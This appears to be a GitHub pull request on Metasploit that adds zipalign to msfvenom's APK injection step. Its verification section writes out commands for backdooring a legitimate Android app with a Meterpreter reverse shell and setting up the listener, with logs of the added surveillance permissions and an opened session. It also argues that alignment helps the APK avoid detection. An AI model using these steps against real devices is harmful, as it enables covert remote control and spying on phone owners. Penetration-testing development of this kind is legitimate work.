Run zipalign as last step during APK injection process #7378

dana-at-cp · 2016-09-29T04:11:30Z

This change adds zipalign as a final step in the APK injection process exposed via msfvenom.

Running zipalign on an APK after signing and before distribution
is considered general best practice. Also, properly aligning an APK
makes it less likely to be flagged as suspicious by mobile security
solutions.

Verification

Inject an android/meterpreter/reverse_tcp payload into a legitimate APK via msfvenom

msfdev@ubuntu:~/Code/github/metasploit-framework$ ./msfvenom -x ~/Android/Pandora_7.4.apk -p android/meterpreter/reverse_tcp LHOST=10.6.9.37 LPORT=1337 -o PandoraRat.apk
WARNING: Local file /home/msfdev/Code/github/metasploit-framework/data/android/apk/classes.dex is being used
WARNING: Local files may be incompatible with the Metasploit Framework
WARNING: Local file /home/msfdev/Code/github/metasploit-framework/data/android/apk is being used
Using APK template: /home/msfdev/Android/Pandora_7.4.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
[*] Decompiling original APK..
[*] Decompiling payload APK..
[*] Locating hook point..
[*] Copying payload files..
[*] Loading /tmp/d20160928-21427-f6a93j/original/smali/com/pandora/android/Main.smali and injecting payload..
[*] Poisoning the manifest with meterpreter permissions..
[*] Adding android.permission.CHANGE_WIFI_STATE
[*] Adding android.permission.ACCESS_COURSE_LOCATION
[*] Adding android.permission.ACCESS_FINE_LOCATION
[*] Adding android.permission.SEND_SMS
[*] Adding android.permission.RECEIVE_SMS
[*] Adding android.permission.RECORD_AUDIO
[*] Adding android.permission.CALL_PHONE
[*] Adding android.permission.READ_CONTACTS
[*] Adding android.permission.WRITE_CONTACTS
[*] Adding android.permission.RECORD_AUDIO
[*] Adding android.permission.WRITE_SETTINGS
[*] Adding android.permission.CAMERA
[*] Adding android.permission.READ_SMS
[*] Adding android.permission.SET_WALLPAPER
[*] Adding android.permission.READ_CALL_LOG
[*] Adding android.permission.WRITE_CALL_LOG
[*] Rebuilding /home/msfdev/Android/Pandora_7.4.apk with meterpreter injection as /tmp/d20160928-21427-f6a93j/output.apk
[*] Signing /tmp/d20160928-21427-f6a93j/output.apk
[*] Aligning /tmp/d20160928-21427-f6a93j/output.apk
Payload size: 16694227 bytes
Saved as: PandoraRat.apk
[ruby-2.3.1@metasploit-framework](zipalignapk) 
msfdev@ubuntu:~/Code/github/metasploit-framework$

[] Verify An "[] Aligning /tmp/.apk" status message is displayed after the "[] Signing /tmp/.apk" status message and the backdoor payload is generated as expected

...
[*] Signing /tmp/d20160928-21427-f6a93j/output.apk
[*] Aligning /tmp/d20160928-21427-f6a93j/output.apk
Payload size: 16694227 bytes
Saved as: PandoraRat.apk
...

[] Use zipalign on the generated APK to verify alignment

msfdev@ubuntu:~/Code/github/metasploit-framework$ zipalign -c -v 4 PandoraRat.apk 
Verifying alignment of PandoraRat.apk (4)...
      50 META-INF/MANIFEST.MF (OK - compressed)
  103746 META-INF/ANDROIDD.SF (OK - compressed)
  208107 META-INF/ANDROIDD.RSA (OK - compressed)
  209225 AndroidManifest.xml (OK - compressed)
  216836 assets/bmwgroup/bmw/images/5000.png (OK)
  217324 assets/bmwgroup/bmw/images/5001.png (OK)
  217892 assets/bmwgroup/bmw/images/5002.png (OK)
...
14797127 res/xml/caption_preference.xml (OK - compressed)
14797762 res/xml/daydream.xml (OK - compressed)
14798012 resources.arsc (OK)
Verification succesful
[ruby-2.3.1@metasploit-framework](zipalignapk) 
msfdev@ubuntu:~/Code/github/metasploit-framework$

[] Start msfconsole and setup a multi/handler with the android/meterpreter/reverse_tcp payload [REMINDER: Use LHOST and LPORT values relevant to your test environment]

msf > use multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 10.6.9.37
LHOST => 10.6.9.37
msf exploit(handler) > set LPORT 1337
LPORT => 1337
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 10.6.9.37:1337 
[*] Starting the payload handler...

[] Install the generated APK on an emulated or physical Android device that is able to connect back to the handler using the address and port specified via the LHOST and LPORT values
[] Start the APK on the emulated or physical Android device
[] Verify A meterpreter session is available on the emulated or physical Android device

[*] Started reverse TCP handler on 10.6.9.37:1337 
[*] Starting the payload handler...
WARNING: Local file /home/msfdev/Code/github/metasploit-framework/data/android/metstage.jar is being used
WARNING: Local file /home/msfdev/Code/github/metasploit-framework/data/android/meterpreter.jar is being used
[*] Sending stage (67110 bytes) to 10.6.9.1
[*] Meterpreter session 1 opened (10.6.9.37:1337 -> 10.6.9.1:64976) at 2016-09-28 21:29:13 -0700
WARNING: Local file /home/msfdev/Code/github/metasploit-framework/data/meterpreter/ext_server_stdapi.jar is being used

meterpreter > sysinfo
Computer    : localhost
OS          : Android 4.4.2 - Linux 3.4.67+ (i686)
Meterpreter : java/android
meterpreter > getuid
Server username: u0_a56
meterpreter >

[] Inject an android/meterpreter/reverse_tcp payload into a legitimate APK via msfvenom with zipalign missing from the user/system $PATH

msfdev@ubuntu:~/Code/github/metasploit-framework$ ./msfvenom -x ~/Android/Pandora_7.4.apk -p android/meterpreter/reverse_tcp LHOST=10.6.9.37 LPORT=1337 -o PandoraRat.apk
WARNING: Local file /home/msfdev/Code/github/metasploit-framework/data/android/apk/classes.dex is being used
WARNING: Local files may be incompatible with the Metasploit Framework
WARNING: Local file /home/msfdev/Code/github/metasploit-framework/data/android/apk is being used
Using APK template: /home/msfdev/Android/Pandora_7.4.apk
No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
Error: zipalign not found. If it's not in your PATH, please add it.
[ruby-2.3.1@metasploit-framework](zipalignapk) 
msfdev@ubuntu:~/Code/github/metasploit-framework$

[] Verify An error is displayed to inform the user that zipalign cannot be found

...
Error: zipalign not found. If it's not in your PATH, please add it.
...

Running zipalign on an APK after signing and before distribution is considered general best practice. Also, properly aligning an APK makes it less likely to be flagged as suspicious by mobile security solutions. More on zipalign from Google: https://developer.android.com/studio/command-line/zipalign.html

timwr · 2016-09-29T10:08:27Z

Good change. I'm sceptical that a unzipaligned apk is more suspicious to AV, but it's good practice and reduces the ram usage.
I'll land this when I can fix my expired gpg key.
Many thanks!

timwr · 2016-09-29T10:11:47Z

lib/msf/core/payload/apk.rb

    print_status "Poisoning the manifest with meterpreter permissions..\n"
    fix_manifest(tempdir)

    print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
    run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")
    print_status "Signing #{injected_apk}\n"
    run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey")
+    print_status "Aligning #{injected_apk}\n"
+    FileUtils.mv("#{injected_apk}", "#{unaligned_apk}")


pedantic but I think we can remove this mv and just do:

run_cmd("zipalign 4 #{injected_apk} #{aligned_apk}") outputapk = File.read(aligned_apk)

@timwr I'm fine with making this pedantic change. :)

dana-at-cp · 2016-09-29T14:10:20Z

Thanks @timwr ... I agree that this change is worth it for the optimizations alone. On the defensive side, I concede that checking the alignment of an APK, as a quick and easy way to identify a suspicious app, provides limited value.

wvu · 2016-09-29T18:35:41Z

Doh! Thought we were doing this. Apparently not. :)

timwr · 2016-09-30T04:41:16Z

Many thanks @dana-at-cp !

dana-at-cp · 2016-09-30T14:21:24Z

@timwr You're very welcome. Looking forward to contributing more to the project.

tdoan-r7 · 2016-10-04T16:30:54Z

Release Notes

This fix adds zipalign as a final step in the APK injection process exposed via msfvenom.

timwr reviewed Sep 29, 2016

View reviewed changes

Refactor code that calls zipalign on injected APK

b06a3d3

wvu added library bug labels Sep 29, 2016

wvu assigned timwr Sep 29, 2016

timwr merged commit b06a3d3 into rapid7:master Sep 30, 2016

timwr added a commit that referenced this pull request Sep 30, 2016

Land #7378, run zipalign during apk injection process

e628fab

dana-at-cp deleted the zipalignapk branch October 1, 2016 04:29

h00die mentioned this pull request Oct 1, 2016

probable payload bug Android #7386

Closed

tdoan-r7 added the rn-fix release notes fix label Oct 4, 2016

timwr added android msfvenom labels Sep 12, 2017

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Run zipalign as last step during APK injection process #7378

Run zipalign as last step during APK injection process #7378

dana-at-cp commented Sep 29, 2016 •

edited

Loading

timwr commented Sep 29, 2016

timwr Sep 29, 2016

dana-at-cp Sep 29, 2016

dana-at-cp commented Sep 29, 2016

wvu commented Sep 29, 2016

timwr commented Sep 30, 2016

dana-at-cp commented Sep 30, 2016

tdoan-r7 commented Oct 4, 2016

Run zipalign as last step during APK injection process #7378

Run zipalign as last step during APK injection process #7378

Conversation

dana-at-cp commented Sep 29, 2016 • edited Loading

Verification

timwr commented Sep 29, 2016

timwr Sep 29, 2016

Choose a reason for hiding this comment

dana-at-cp Sep 29, 2016

Choose a reason for hiding this comment

dana-at-cp commented Sep 29, 2016

wvu commented Sep 29, 2016

timwr commented Sep 30, 2016

dana-at-cp commented Sep 30, 2016

tdoan-r7 commented Oct 4, 2016

Release Notes

dana-at-cp commented Sep 29, 2016 •

edited

Loading